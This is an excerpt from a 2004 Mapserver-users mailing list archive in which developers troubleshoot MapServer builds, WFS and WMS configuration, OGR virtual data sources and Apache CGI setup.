>>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>>? : bartvde at xs4all.nl
>>>>>Cc : mapserver-users at lists.gis.umn.edu
>>>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>>Bart,
>>>>>
>>>>>if you are interested in point geometries only, there is a new format in
> 
> 
>>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>>source and map two of the columns to x and y locations.  We've used it 
>>>>>for a couple of clients and it works very nicely.  If you are interested
> 
> 
>>>>>I can send you more details.
>>>>>
>>>>>Cheers,
>>>>>
>>>>>Paul
>>>>>
>>>>>Bart van den Eijnden wrote:
>>>>>
>>>>>
>>>>>
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>>>
>>>>>>Hi list,
>>>>>>
>>>>>>I see in the history log that there has been some work done recently 
>>>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>>>connector. Can it be used already?
>>>>>>
>>>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>>>Mapserver JOINS to link to tables in MySQL?
>>>>>>
>>>>>>Thanks in advance for the info.
>>>>>>
>>>>>>Best regards,
>>>>>>Bart
>>>>>>_______________________________________________
>>>>>>Mapserver-users mailing list
>>>>>>Mapserver-users at lists.gis.umn.edu
>>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>>
>>>>>>      
>>>>>>
>>>>>>         
>>>>>>
>>>>>
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>
>>>
>>>   
>>>
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> 
>>
> 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From stephen.clark at focus.ca  Thu Jan 22 13:11:50 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Thu, 22 Jan 2004 13:11:50 -0800
Subject: [Mapserver-users] How to edit?
References: <002301c3e0be$b90a3d90$f100a8c0@ceno> <008101c3e11a$9d8abb60$6400a8c0@BLANKEN>
Message-ID: <077f01c3e12c$5a82d480$6c000a0a@sclark>

This is a multi-part message in MIME format.

------=_NextPart_000_077C_01C3E0E9.4C1F3020
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable

Wim,

Will you be putting this up on an internet site?=20
I too am working on something similar that allows a user to draw lines =
in MS interface and save this line as a shape file.

I would be interested in the snippet as well.

thanks
Stephen


  ----- Original Message -----=20
  From: Wim Blanken (PI)=20
  To: Juraj Cenek=20
  Cc: mapserver-users at lists.gis.umn.edu=20
  Sent: Thursday, January 22, 2004 11:04 AM
  Subject: Re: [Mapserver-users] How to edit?


  Hello Juraj,

  I have created an application in which you can digitise points, lines =
and polygons with attribute data with Mapserver using CGI mapserver + =
javascript + php and finally a little mapscript to write the shapefile.
  It works with a slightly changed jbox that gives the user the ability =
to use the line tool to create points, lines and polygons.
  The coordinates are stored in an array and then passed on to the php =
script creating the shapefile.
  It works like a charm but i am still testing this but when I am =
finished I could send the snippets to you....

  W. Blanken
  Geon bv
  The Netherlands
    ----- Original Message -----=20
    From: Juraj Cenek=20
    To: mapserver-users at lists.gis.umn.edu=20
    Sent: Thursday, January 22, 2004 9:07 AM
    Subject: [Mapserver-users] How to edit?


    Hallo, I have one question about the mapserver, is it possible=20
    to modify the maps online (for example every user can create his=20
    own layer on the server, when he inputs the password, his layers=20
    will appear). Is this possible? (for example user wants to create=20
    own map of his trips among his country) I've seen applications,=20
    that can input points, but no application, that can include line,=20
    polygone......
    >Thanx,=20
    >        Ing. Juraj Cenek

------=_NextPart_000_077C_01C3E0E9.4C1F3020
Content-Type: text/html;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable









Wim,


 


Will you be putting this up on an =
internet site?=20



I too am working on something similar =
that allows a=20
user to draw lines in MS interface and save this line as a shape=20
file.


 


I would be interested in the snippet as =

well.


 


thanks


Stephen


 


 



  
----- Original Message ----- 

  From:=20
  Wim Blanken=20
  (PI) 

  
  
Cc: mapserver-users at lists.g=
is.umn.edu=20
  

  
Sent: Thursday, January 22, =
2004 11:04=20
  AM

  
Subject: Re: [Mapserver-users] =
How to=20
  edit?

  


  
Hello Juraj,

  
 

  
I have created an application in =
which you can=20
  digitise points, lines and polygons with attribute data with Mapserver =
using=20
  CGI mapserver + javascript + php and finally a little mapscript to =
write the=20
  shapefile.

  
It works with a slightly changed jbox =
that gives=20
  the user the ability to use the line tool to create points, lines and=20
  polygons.

  
The coordinates are stored in an =
array and then=20
  passed on to the php script creating the shapefile.

  
It works like a charm but =
i am still testing this but when I am finished I could =
send the=20
  snippets to you....

  
 

  
W. Blanken

  
Geon bv

  
The Netherlands

  

    
----- Original Message ----- 

    From:=20
    Juraj =
Cenek=20


    
To: mapserver-users at lists.g=
is.umn.edu=20
    

    
Sent: Thursday, January 22, =
2004 9:07=20
    AM

    
Subject: [Mapserver-users] =
How to=20
    edit?

    


    
Hallo, I=20
    have one question about the mapserver, is it possible 
to modify =
the maps=20
    online (for example every user can create his 
own layer on the =
server,=20
    when he inputs the password, his layers 
will appear). Is this =
possible?=20
    (for example user wants to create 
own map of his trips among his =

    country) I've seen applications, 
that can input points, but no=20
    application, that can include line, 
polygone......
>Thanx, =

    
>        Ing. Juraj=20
    =
Cenek


------=_NextPart_000_077C_01C3E0E9.4C1F3020--



From nacional at cbs.umn.edu  Thu Jan 22 12:16:20 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Thu, 22 Jan 2004 14:16:20 -0600
Subject: [Mapserver-users] (newbie): Win32 Apache error when calling Mapserv.exe
In-Reply-To: 
References: 
Message-ID: <200401221416.20877.nacional@cbs.umn.edu>

In addition to what Tyler already said, run "mapserv.exe -v" from the command 
prompt and see if it returns something like:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF 
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT 
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL 
INPUT=SHAPEFILE

If not, something is wrong with your executable.  But then again it could just 
be permission problems.  Or perhaps you've locked down your CGI-BIN directory 
so that only scripts with certain extensions would run?

By the way, you might want to upgrade your apache to version 1.3.29 or 
something.  I think there were some security issues on 1.3.27--not good if 
your computer is connected to the rest of this wacky world.

-Perry N.


On Thursday 22 January 2004 10:18 am, Tyler Mitchell wrote:
> Is Apache properly configure to execute files in
> c:/phpdev/www/cgi-bin/mapserv.exe ?
> It looks like it is not trying to execute the file, but trying to display
> the contents.  You may want to first try putting mapserv.exe in c:\program
> files\apache group\apache\cgi-bin and try it there instead, since the
> permissions and execution flags are already set in httpd.conf.  Hmm...but
> you must have change the Alias.  Show us the parts of httpd.conf that you
> changed.
>
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/21/2004 09:48:20 PM:
> > Hi all,
> >
> > I'm just getting started with Mapserver (well, not even that!) - I have
> > Apache 1.3.27 running on Windows2000 and am trying to run the Mapserver
>
> 4.0
>
> > demo application.
> >
> > I try to test the MapServer application according to the tutorial
> > instructions, with the URL
> > http://localhost/cgi-bin/mapserv.exe?
> > And Apache returns the following error 500:
> > [error] Unrecognized character \x90 at c:/phpdev/www/cgi-bin/mapserv.exe
> > line 1.
> >
> > Can anyone give a suggestion what might be wrong?
> >
> > TIA
> >
> > Yuri Banens
> >
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

-- 
Pericles S. Nacionales
Dept. of Ecology, Evolution & Behavior
College of Biological Sciences
University of Minnesota

e-mail: nacional at cbs.umn.edu
phone: 612 624 6713



From warmerdam at pobox.com  Thu Jan 22 12:33:28 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Thu, 22 Jan 2004 15:33:28 -0500
Subject: [Mapserver-users] WMS metadata and .wld files
In-Reply-To: 
References: 
Message-ID: <40103398.8040809@pobox.com>

Eric Sokolowsky wrote:
> I have been able to compile and run mapserv as a WMS server for images.
> It was necessary to include .wld files for each of the layers that I
> serve.  But is it supported to get the geo-referencing metadata from the
> wms_extent field instead of the external .wld file?  My guess is that it
> is not.  Is somebody adding this ability?  If not, then I would like
> to add it and submit the changes back to the mapserver maintainers for
> everybody's use.
> 
> I am using mapserver 4.0.1 on Red Hat Linux 9.

Eric,

I don't know if you got other response to this, but I think it is a good
idea.  It might be a fair amount of work to add it everywhere, but it would
be a good start to incorporate it for files read via the GDAL raster reading.
I would suggest looking in the area of GADLReadWorldFile() in mapraster.c and
mapdrawgdal.c.

If you prepare updates to accomplish this (please develop them against the
CVS version of mapserver if at all possible) and submit them in Bugzilla
assigned to me I will try and incorporate them.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From gerry.creager at tamu.edu  Thu Jan 22 12:50:03 2004
From: gerry.creager at tamu.edu (Gerry Creager)
Date: Thu, 22 Jan 2004 14:50:03 -0600
Subject: [Mapserver-users] Mapserver and IPv6
Message-ID: <4010377B.9080309@tamu.edu>

I don't recall seeing anyone mention this before, and a very quick and 
cursory review of the archives failed to produce any hits, so...

http://mesonet.colt.tamu.edu is "on the air" on IPv6.  It's the same 
server as at http://mesonet.tamu.edu going thru a separate interface. 
It's available to Internet2-connected IPv6 users only... or so the story 
goes...

For those who have trouble with an IPv6 'get_host_by_name' the alternate 
is:  http://[2001:468:1a10:4::10:1]

If someone tries it and finds problems, please notify me off-list.

Thanks!
gerry
-- 
Gerry Creager -- gerry.creager at tamu.edu
Texas Mesonet -- AATLT, Texas A&M University	
Cell: 979.229.5301 Office: 979.458.4020
FAX:  979.847.8578 Pager:  979.228.0173
Office: 903A Eller Bldg, TAMU, College Station, TX 77843



From nacional at cbs.umn.edu  Thu Jan 22 12:49:16 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Thu, 22 Jan 2004 14:49:16 -0600
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
Message-ID: <200401221449.16582.nacional@cbs.umn.edu>

Dear MapServer gods,

I'm seeing a lot of folks send the output of "mapserv -v" like this:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF 
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT 
INPUT=TIFF INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

At first glance it all looks good.  But then look at  INPUT=TIFF, INPUT=JPEG, 
INPUT=GDAL.  Isn't compiling GDAL, TIFF and JPEG together as input libraries 
not a good idea?  Or is this no longer an issue?  I ask because I'm seeing a 
lot of this and am wondering if we should include something like this in the 
MapServer FAQ:

If you compile GDAL support make sure to disable TIFF and JPEG input support.  
This can be accomplished by adding "--without-tiff --without-jpeg"  
parameters when running "configure".  Alternatively, you can remove 
"-DUSE_TIFF" and "-DUSE_JPEG" in your Makefile (or Makefile.vc) before 
running make (or nmake).

What exactly are the problems that come up when TIFF and JPEG libs are 
compiled together with GDAL?  I know MapServer gets confused when reading 
TIFF/GeoTIFF images.  Are there others?




From eric.sokolowsky at gsfc.nasa.gov  Thu Jan 22 13:08:04 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Thu, 22 Jan 2004 16:08:04 -0500 (EST)
Subject: [Mapserver-users] WMS metadata and .wld files
In-Reply-To: <40103398.8040809@pobox.com>
Message-ID: 

On Thu, 22 Jan 2004, Frank Warmerdam wrote:

> Eric Sokolowsky wrote:
> > I have been able to compile and run mapserv as a WMS server for images.
> > It was necessary to include .wld files for each of the layers that I
> > serve.  But is it supported to get the geo-referencing metadata from the
> > wms_extent field instead of the external .wld file?  My guess is that it
> > is not.  Is somebody adding this ability?  If not, then I would like
> > to add it and submit the changes back to the mapserver maintainers for
> > everybody's use.
> > 
> > I am using mapserver 4.0.1 on Red Hat Linux 9.
> 
> Eric,
> 
> I don't know if you got other response to this, but I think it is a good
> idea.  It might be a fair amount of work to add it everywhere, but it would
> be a good start to incorporate it for files read via the GDAL raster reading.
> I would suggest looking in the area of GADLReadWorldFile() in mapraster.c and
> mapdrawgdal.c.

Ok, thanks for the tip.

> If you prepare updates to accomplish this (please develop them against the
> CVS version of mapserver if at all possible) and submit them in Bugzilla
> assigned to me I will try and incorporate them.

Yes, I have already downloaded the mapserver through CVS.  How often is
the CVS version updated?  I will always try to keep synchronized when I 
submit fixes.

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From ed at topozone.com  Thu Jan 22 13:31:35 2004
From: ed at topozone.com (Ed McNierney)
Date: Thu, 22 Jan 2004 16:31:35 -0500
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B175@mercator.topozone.com>

The chief problem is user confusion; there are many options and it can
be easy for the user to not understand what driver is reading the data.
It is certainly possible to build GDAL *without* support for TIFF and
JPEG images, so the report "INPUT=TIFF, INPUT=JPEG, INPUT=GDAL" doesn't
necessarily mean redundant drivers - but it probably does !

I believe there have been discussions about removing the "native" TIFF
support (at least) in favor of GDAL, since there is little advantage to
it and there are many new "TIFF" options that are really new features
only supported by GDAL.

MapServer doesn't get "confused" - the user does .  But that's
something we should strive to avoid.

	- Ed (very minor MapServer attendant deity)

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: Pericles S. Nacionales [mailto:nacional at cbs.umn.edu] 
Sent: Thursday, January 22, 2004 3:49 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question

Dear MapServer gods,

I'm seeing a lot of folks send the output of "mapserv -v" like this:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF
SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
INPUT=TIFF INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

At first glance it all looks good.  But then look at  INPUT=TIFF,
INPUT=JPEG, INPUT=GDAL.  Isn't compiling GDAL, TIFF and JPEG together as
input libraries not a good idea?  Or is this no longer an issue?  I ask
because I'm seeing a lot of this and am wondering if we should include
something like this in the MapServer FAQ:

If you compile GDAL support make sure to disable TIFF and JPEG input
support.  
This can be accomplished by adding "--without-tiff --without-jpeg"  
parameters when running "configure".  Alternatively, you can remove
"-DUSE_TIFF" and "-DUSE_JPEG" in your Makefile (or Makefile.vc) before
running make (or nmake).

What exactly are the problems that come up when TIFF and JPEG libs are
compiled together with GDAL?  I know MapServer gets confused when
reading TIFF/GeoTIFF images.  Are there others?


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From pagurekd at agr.gc.ca  Thu Jan 22 13:31:14 2004
From: pagurekd at agr.gc.ca (Debbie Pagurek)
Date: Thu, 22 Jan 2004 16:31:14 -0500
Subject: [Mapserver-users] wfs and mapserver4.0.1
Message-ID: 

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_4E6F1337.4928024E
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

just as a follow up for the rest of the group, Assefa solved my
difficulty. I had a line in my mapfile that was causing the problem. 
Here's what Assefa had to say:

" The problem comes from a setting in the map file (web metadata) :
      "wfs_geometry_element_name" ""

   Here is the decription in the docs related to that :
    wfs_geometry_element_name
Name of the element (i.e. attribute) to use for the geometry in GML 
output. If not set then "MS_GEOMETRY" will be used. The layer-level 
"wfs_geometry_element_name" takes precedence over this value.

In your case you can just remove this metadata from your map file and It

should work. Setting it to an empty string creates a bug in Mapserver. 
Note that It is not the case anymore in Mapserver 4.1.
"

Thanks Assefa!
Debbie


>>> Yewondwossen Assefa  01/22/04 10:44AM >>>
Debbie,

  I can't seem to reproduce this with my test files using 4.0.1. Is it 
possible to send me your map file to see if I can reproduce it? If it 
happens with all shapefiles, I am assuming data is not the problem and 
might be some setting in the map file.

Later,


Debbie Pagurek wrote:
> Hi all,
> is there a bug in wfs in mapserver4.0.1 -
> I keep getting an error for my request:
>
http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME

>

>  
> 
> The XML page cannot be displayed
> 
> Cannot view XML input using XSL style sheet. Please correct the error 
> and then click the Refresh  button, or
try 
> again later.
> 
>
------------------------------------------------------------------------
> 
> A name was started with an invalid character. Error processing
resource 
>
'http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME'.

> Line 24, Position 10
> 
>         <>
> 
> and when I do a view source, what i see is that an extra empty tag <> 
> that occurs after all of the fields have been listed.  e.g. that part
of 
> the gml output:
> 
> 
>       
>         585860.072
>         CA10
>         Quebec
>         6895963
>         13.163780
>         <>
> 
> this happens for whatever shapefile I am using.
> 
> Also, I did try using the latest dev version 4.1 (the windows binary
that 
> Assefa made available a little while ago, and this problem goes away.
> 
> Just wondering if I'm creating an incorrect request or if this is a 
> known bug.  Also trying to figure out which version of mapserver to 
> install on our servers.
>  
> Thanks,
> D. Pagurek


-- 
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst

Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/

Phone: (613) 565-5056 (ext 14)
Fax:   (613) 565-0925
----------------------------------------------------------------

--=_4E6F1337.4928024E
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Content-Description: HTML







just as a follow up for the rest of the group, Assefa solved my difficulty. 
I had a line in my mapfile that was causing the problem.  Here's what 
Assefa had to say:


 


" The problem comes from a setting in the map file (web metadata) 
:
      "wfs_geometry_element_name" 
""

   Here is the decription in the docs related to that 
:
    wfs_geometry_element_name
Name of the element (i.e. 
attribute) to use for the geometry in GML 
output. If not set then 
"MS_GEOMETRY" will be used. The layer-level 
"wfs_geometry_element_name" 
takes precedence over this value.

In your case you can just remove this 
metadata from your map file and It 
should work. Setting it to an empty 
string creates a bug in Mapserver. 
Note that It is not the case anymore in 
Mapserver 4.1.
"


Thanks Assefa!


Debbie


 



>>> Yewondwossen Assefa <assefa at dmsolutions.ca> 01/22/04 
10:44AM >>>
Debbie,

  I can't seem to reproduce this 
with my test files using 4.0.1. Is it 
possible to send me your map file to 
see if I can reproduce it? If it 
happens with all shapefiles, I am assuming 
data is not the problem and 
might be some setting in the map 
file.

Later,


Debbie Pagurek wrote:
> Hi all,
> is 
there a bug in wfs in mapserver4.0.1 -
> I keep getting an error for my 
request:
> http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME 

> <http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME>
>  

> 
> The XML page cannot be displayed
> 
> Cannot view 
XML input using XSL style sheet. Please correct the error 
> and then 
click the Refresh <javascript:location.reload()> button, or try 
> 
again later.
> 
> 
------------------------------------------------------------------------
> 

> A name was started with an invalid character. Error processing resource 

> 'http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME'. 

> Line 24, Position 10
> 

>         <>
> 

> and when I do a view source, what i see is that an extra empty tag 
<> 
> that occurs after all of the fields have been listed.  
e.g. that part of 
> the gml output:
> 
> 
<gml:featureMember>
>       
<canada>
>         
<AREA>585860.072</AREA>
>         
<CODE>CA10</CODE>
>         
<NAME>Quebec</NAME>
>         
<POP1991>6895963</POP1991>
>         
<POP91_SQMI>13.163780</POP91_SQMI>
>         
<>
> 
> this happens for whatever shapefile I am 
using.
> 
> Also, I did try using the latest dev version 4.1 (the 
windows binary that 
> Assefa made available a little while ago, and this 
problem goes away.
> 
> Just wondering if I'm creating an incorrect 
request or if this is a 
> known bug.  Also trying to figure out 
which version of mapserver to 
> install on our servers.
>  

> Thanks,
> D. Pagurek


-- 

----------------------------------------------------------------
Assefa 
Yewondwossen
Software Analyst

Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/

Phone: 
(613) 565-5056 (ext 14)
Fax:   (613) 
565-0925
----------------------------------------------------------------





--=_4E6F1337.4928024E--


From eduardo at consultoria.eti.br  Thu Jan 22 13:59:35 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Thu, 22 Jan 2004 19:59:35 -0200
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
In-Reply-To: <200401221449.16582.nacional@cbs.umn.edu>
References: <200401221449.16582.nacional@cbs.umn.edu>
Message-ID: <20040122215935.644.qmail@hm47.locaweb.com.br>

Hi perry,

this a very good comment....

I've just compiled one that gets:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE
SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF
INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

and had never stop to think about that TIFF and JPEG support can be replaced by GDAL....

you mean that MapServer can be a bigger or more "fat" binany if I use GDAL with TIFF and JPEG?

thanks.

Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************


On Thu, 22 Jan 2004 14:49:16 -0600, "Pericles S. Nacionales"  escreveu:

> De: "Pericles S. Nacionales" 
> Data: Thu, 22 Jan 2004 14:49:16 -0600
> Para: mapserver-users at lists.gis.umn.edu
> Assunto: [Mapserver-users] GDAL, TIFF, JPEG Question
> 
> Dear MapServer gods,
> 
> I'm seeing a lot of folks send the output of "mapserv -v" like this:
> 
> MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF 
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT 
> INPUT=TIFF INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE
> 
> At first glance it all looks good.  But then look at  INPUT=TIFF, INPUT=JPEG, 
> INPUT=GDAL.  Isn't compiling GDAL, TIFF and JPEG together as input libraries 
> not a good idea?  Or is this no longer an issue?  I ask because I'm seeing a 
> lot of this and am wondering if we should include something like this in the 
> MapServer FAQ:
> 
> If you compile GDAL support make sure to disable TIFF and JPEG input support.  
> This can be accomplished by adding "--without-tiff --without-jpeg"  
> parameters when running "configure".  Alternatively, you can remove 
> "-DUSE_TIFF" and "-DUSE_JPEG" in your Makefile (or Makefile.vc) before 
> running make (or nmake).
> 
> What exactly are the problems that come up when TIFF and JPEG libs are 
> compiled together with GDAL?  I know MapServer gets confused when reading 
> TIFF/GeoTIFF images.  Are there others?
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 
> 


From hjulien at nrcan.gc.ca  Thu Jan 22 13:58:33 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Thu, 22 Jan 2004 16:58:33 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F79000@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi,
Yes the ovf file works with ogrinfo.
Martin checked the gdal11.dll and that does not seem to be the problem.


D:\WebScripts\MapServer>ogrinfo
D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
ERROR 4: Update access not supported for VRT datasources.
Had to open data source read-only.
INFO: Open of
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
using driver `VRT' successful.
1: MGWI_TBLLOC (Point)


As suggested, I'll "return to my mapfile"!

I now have a new understanding of one of the Virtual Spatial Data
prerequisites: "that you are not afraid to figure things out"!!

(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData)

:-/

H?ryk

-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Thursday, January 22, 2004 3:09 PM
? : Julien, Heryk
Cc : 'Mapserver-users at lists.gis.umn.edu'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Does the ovf file work with ogrinfo?  That is the first place to start 
because it will give you more detailed debugging information.  Once that 
works, then you should return to the map file.  Until you can get the 
ovf file to work with ogrinfo, you are not going to get useful debugging 
information because MapServer will continue to tell you that it can't 
draw the layer with misleading information.

BTW, one other thing to check .. gdal11.dll may appear in multiple 
places in your system and you may not be using the one you think you 
are.  Search your system for this file and make sure they are all the 
same, or that you are certain that mapserver is using the right one.

Cheers,

Paul

Julien, Heryk wrote:

> Hi Norm,
> That was a cut and paste error in my email.
> The virtual file is okay: mgwi.ovf
> 
> I tried the mapfile LABELITEM suggestion:" may need to use table.name or
> just name depending on your OVF file".
> 
> I also tried a relative and absolute CONNECTION in the mapfile.
> 
> I keep on getting the following message:
> msDrawMap(): Image handling error. Failed to draw layer named
'MGWI_TBLLOC'.
> 
> msOGRFileOpen(): OGR error. Open failed for OGR connection
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File
not
> found or unsupported format. 
> 
> 
> H?ryk
> 
> 
> 
> -----Message d'origine-----
> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
> Envoy? : Thursday, January 22, 2004 1:48 PM
> ? : Julien, Heryk
> Cc : 'spencer at dmsolutions.ca'; 'Frank Warmerdam';
> 'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin
> Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
> Connectiontype)
> 
> 
> Julien,
> 
> What is the exact name of your "ovf" file?  Because the name you 
> specified in the "CONNECTION" parameter in the map file does not match 
> the one given for you "ovf" file.
> 
> See in your email below:  "Here is my virtual file (mgw.ovf):"
> 
> See your "CONNECTION" parameter into your map file for your specific 
> virtual layer:
> 
> ...
> CONNECTIONTYPE OGR
> CONNECTION "mgwi.ovf"
> 
> ...
> 
> Norm
> 
> 
> Julien, Heryk wrote:
> 
> 
>>Hi to all,
>>
>>I replaced my version of Mapserver with a precompiled one. I also
installed
>>the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.
>>
>>As suggested by Frank Warmerdam I used the following SrcDataSource tag in
>>the virtual file:
>>ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is the
>>DSN for my ODBC data source.
>>
>>Here is the orginfo output:
>>
>>D:\WebScripts\MapServer>ogrinfo --formats
>>Loaded OGR Format Drivers:
>> -> "ESRI Shapefile" (read/write)
>> -> "UK .NTF" (readonly)
>> -> "SDTS" (readonly)
>> -> "TIGER" (read/write)
>> -> "S57" (read/write)
>> -> "MapInfo File" (read/write)
>> -> "DGN" (read/write)
>> -> "VRT" (readonly)
>> -> "AVCBin" (readonly)
>> -> "REC" (readonly)
>> -> "Memory" (read/write)
>> -> "GML" (read/write)
>> -> "ODBC" (read/write)
>> -> "OGDI" (readonly)
>> -> "FMEObjects Gateway" (readonly)
>>
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
